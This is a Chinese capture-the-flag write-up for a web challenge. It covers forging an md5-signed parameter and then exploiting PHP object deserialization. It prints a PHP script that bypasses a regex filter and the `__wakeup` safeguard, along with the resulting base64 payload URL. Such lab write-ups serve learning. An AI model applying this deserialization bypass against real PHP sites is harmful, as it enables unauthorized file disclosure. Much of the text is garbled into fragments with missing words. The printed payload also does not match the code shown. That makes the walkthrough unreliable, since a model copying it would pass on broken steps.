i春秋Hash | 易学教程

打开题目页面是一个超链接

先查看源码得到一段信息

没什么，这只是超链接跳转的信息

点击跳转到下一个界面

123123keyurl

key!=123flag

然后后面是一段隐藏的信息，需要查看源码才看得到

<!--$hash=md5($sign.$key);the length of $sign is 8

hashsign.keymd5sign8

keyhash

key=123&hash=f9109d5f83921a551cf859f853afe7bb

hash md5

kkkkkk01123

8kkkkkk01sign=kkkkkk01key=123

key=111signkkkkkk01hash=md5kkkkkk01111

adaa10eef3a02754da03b5a3a6f40ae632md5

url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

访问之，提示我们next step is Gu3ss_m3_h2h2.php

不多说，直接访问试试

php

看看源码有没有什么遗漏的

（。。。。。应该没有）

审计代码

demoifGETvarvarbase64GET[‘var’]stop hackingvarGu3ss_m3_h2h2.php

demo

file

thisfilefile

__destruct()

this_file

f15g_1s_here.php

urlGu3ss_m3_h2h2.phpGu3ss_m3_h2h2.phphack

。。。。。。。

想想只需要绕过就行了吧

f15g_1s_here.php

<?phpclass Demo {     private $file = 'Gu3ss_m3_h2h2.php';     public function __construct($file) {         $this->file = $file;     }     function __destruct() {         echo @highlight_file($this->file, true);     }     function __wakeup() {         if ($this->file != 'Gu3ss_m3_h2h2.php') {             //the secret is in the f15g_1s_here.php             $this->file = 'Gu3ss_m3_h2h2.php';         }     }}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>

本地运行即可得到我们需要传入的值

url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==